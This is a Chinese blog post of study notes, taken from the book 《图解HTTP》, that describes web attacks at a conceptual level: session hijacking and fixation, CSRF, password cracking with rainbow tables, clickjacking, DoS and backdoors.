是指攻击者通过某种手段拿到用户的会话id,并非法使用此会话id伪装成用户,达到攻击的目的。

会话id中记录客户端的cookie等信息,服务端将会话id与认证状态进行一对一匹配管理。

攻击者可获得会话id的途径:

  • 通过非正规的生成方法推测会话 ID
  • 通过窃听或 XSS 攻击盗取会话 ID
  • 通过会话固定攻击(Session Fixation)强行获取会话 ID

案例:
在这里插入图片描述

会话固定攻击

对以窃取目标会话 ID 为主动攻击手段的会话劫持而言,会话固定攻击(Session Fixation)攻击会强制用户使用攻击者指定的会话 ID,属 于被动攻击。

案例:

在这里插入图片描述

Session Adoption 是指 PHP 或 ASP.NET 能够接收处理未知会话 ID 的功能。

​ 恶意使用该功能便可跳过会话固定攻击的准备阶段,从 Web 网 站 获得发行的会话 ID 的步骤。即攻击者可私自创建会话 ID 构成陷阱,中间件却会误以为该会话 ID 是未知会话 ID 而接受。

跨站点请求伪造

是指攻击这通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。

影响:

  • 利用已通过认证的用户权限更新设定信息等
  • 利用已通过认证的用户权限购买商品
  • 利用已通过认证的用户权限在留言板上发表言论

案例:

以留言板功能为例。该功能只允许已认证并登录的用户在留言板上发表内容。

在这里插入图片描述

攻击者设置好一旦用户访问,即会发送在留言板上发表非主观行为产生的评论的请求的陷阱。用户A的浏览器执行完陷阱中的请求后,留言板上也就会留下那条评论(步骤②)。

若触发陷阱时,用户A尚未通过认证,则无法利用A的权限留言

其他安全漏洞

密码破解

两种手段:

  • 通过网络的密码试错
  • 对已加密密码的破解(指攻击者入侵系统,已获得加密或散列处理的密码数据的情况)
  • sql注入攻击逃避认证
  • 跨站脚本攻击窃取密码信息

通过网络的密码试错:

  • 穷举法(暴力破解法)

  • 字典攻击(比如密码为生日的格式等)

  • 利用别处泄露的id和密码(比如有用户习惯将多个网站使用同一套密码)

对已加密密码的破解

密码保存时,一般通过散列函数做散列处理或加salt手段对密码进行加密。

破解需要将加密处理的密码还原为明文形式。

![在这里插入图片描述](https://img-blog.csdnimg.cn/20200724000427274.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzg2NTg3NQ==,size_16,color_FFFFFF,t_70)

从加密过的数据中导出明文通常有以下几种方法。

  1. 通过穷举法·字典攻击进行类推
    在这里插入图片描述

  2. 彩虹表

    彩虹表(Rainbow Table)是由明文密码及与之对应的散列值构成 的一张数据库表,是一种通事先制作庞大的彩虹表,可在穷举 法 • 字典攻击等实际破解过程中缩短消耗时间的技巧。从彩虹表 内搜索散列值就可以推导出对应的明文密码。
    在这里插入图片描述

    Free Rainbow Tables网站上(http://www.freerainbowtables.com/en/tables2/)公布了一张对应MD5散列值构成的彩虹表。

  3. 拿到密钥

    使用共享密钥加密方式对密码数据进行加密处理的情况下,如果能通过某种手段拿到加密使用的密钥,也就可以对密码数据解密了。

  4. 加密算法的漏洞

    考虑到加密算法本身可能存在的漏洞,利用该漏洞尝试解密也是一种可行的方法。但是要找到那些已广泛使用的加密算法的漏洞,又谈何容易,因此困难极大,不易成功。

    而Web应用开发者独立实现的加密算法,想必尚未经过充分的验证,还是很有可能存在漏洞的。

点击劫持

是指利用透明的按钮或链接做成陷阱,覆盖 在 Web 页面之上。然后诱使用户在不知情的情况下,点击那个链接 访问内容的一种攻击手段。这种行为又称为界面伪装(UI Redressing)。

DoS攻击

是让运行中的服务呈停止状态的攻击。有时也叫 服务停止攻击或拒绝服务攻击。对象不仅限于web,包括网络设备、服务器等。

两种dos攻击方式:

  1. 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈停止状态

    就是发送大量的合法请求,服务器很难分辨何为正常请求,何为攻击请求,因此很难防止dos攻击。

  2. 通过攻击安全漏洞是服务停止

多台计算机发起的DoS攻击称为DDoS攻击(Distributed Denial of Service attack)。DDoS攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。

后门程序
是指开发设置的隐藏入口,可不按正常步骤使用受限功能。利用后门程序就能够使用原本受限制的功能。

通常的后门程序分为以下3种类型。

  • 开发阶段作为 Debug 调用的后门程序
  • 开发者为了自身利益植入的后门程序
  • 攻击者通过某种方法设置的后门程序

可通过监视进程和通信的状态发现被植入的后门程序。但设定在Web 应用中的后门程序,由于和正常使用时区别不大,通常很难发现。

本文参考书籍:《图解HTTP》

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值